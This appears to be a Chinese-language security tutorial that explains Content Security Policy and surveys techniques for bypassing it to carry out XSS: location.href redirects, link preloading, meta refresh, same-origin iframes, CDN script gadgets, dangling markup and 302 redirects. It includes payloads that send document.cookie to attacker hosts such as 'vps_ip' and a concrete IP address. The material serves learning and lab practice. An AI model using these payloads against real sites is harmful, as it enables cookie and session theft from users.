XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。 本文涉及相关实验:XSS进阶之CSP绕过 (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。) 什么是CSPCSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以 CSP如何工作通过响应包头(Response Header)实现: Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self'; 通过HTML 元标签实现: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> CSP指令我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明:
除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。 Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; CSP指令值介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源
下面通过具体的例子来看看CSP指令和指令值的用法:
CSP绕过CSP从诞生时起即有安全研究人员所探索,本文总结部分方法 在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 CSP Evaluator检测一波,有奇效(手动滑稽) location.href绕过href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。 CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在 demo<?php 这个地方可以用location跳转:location.href(window.location/window.open)绕过 exp?a=<script>location.href="http://127.0.0.1"+document.cookie;</script> 在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法 location.href = "vps_ip:xxxx?"+document.cookie
link标签预加载导致的绕过这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行 <!-- firefox --> 那我们该如何将数据外带呢 动态构建元素,再引发页面跳转 var link = document.createElement("link"); 这样就可以将cookie外带了
meta网页跳转绕过与link标签原理相似,利用meta标签实现网页跳转 http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" > 除此之外,meta标签还有一些不常用的功能有时也能起奇效
<meta http-equiv="cache-control" content="public">
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
iframe绕过iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些
同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建 demo&exp<!-- A页面 --> <!-- B页面 --> setTimeout是为了等待iframe加载完成 你以为就这样就完了?那你果然和我一样天真了 在找CSP绕过相关资料时,还发现了个好玩的东西(zhazhami师傅的博客)
CDN绕过一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险 这里借Orange大神绕过hackmd CSP的文章(A Wormable XSS on HackMD!)来分析一波 demo先来看hackmd的CSP策略 content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query. 'unsafe-eval' https://cdnjs. https://cdn. https://www.google.com https://apis.google.com https://docs.google.com https://www. https://*.disqus.com https://*.disquscdn.com https://www.google- https://stats.g. https://secure. https://rules. https://pixel. https://js. https://embed. https://static. https://www. https://cdn. 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs. https://fonts. https://www.google.com https://fonts. https://*.disquscdn.com https://static.; font-src 'self' data: https://public. https://cdnjs. https://fonts. https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests 看到了 再因为原本WAF对注释的完全可信,可以构造出 两者结合,得出最终payload exp<!-- foo="--> 详细内容看Orange师傅的文章 如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp <div data-role=popup id='<script>alert(1)</script>'></div> 还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel> 总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在Breaking XSS mitigations via Script Gadgets中总结了可以被用来CDN绕过的一些JS库,可以用作参考
站点可控静态资源绕过给一个绕过codimd的(实例)codimd xss 案例中codimd的CSP中使用了 demo<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-"> exp同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过
不完整script标签绕过我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性 好,我们开搞 demo1<?php header("X-XSS-Protection:0");?> exp当我们输入 会被当成我们输入的script标签中的一个属性,成功绕过 demo2但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行 exp这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略 <!-- 3.php --> 于是我们可以输入
不完整的资源标签获取资源demo<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"> 这里可以注意到 exphttp://127.0.0.1/csp.php?xss=<img src="//vps_ip?a= 此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到” 需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<
302(重定向)绕过很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www./TR/CSP2/#source-list-paths-and-redirects 很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。 接下来就来模拟分析一波 demo<!-- csp.php --> <!-- redirect.php --> <!-- test.php --> csp限制了 exphttp://127.0.0.1/a/redirect.php?url=/b/test.php 但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过 但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于
|
|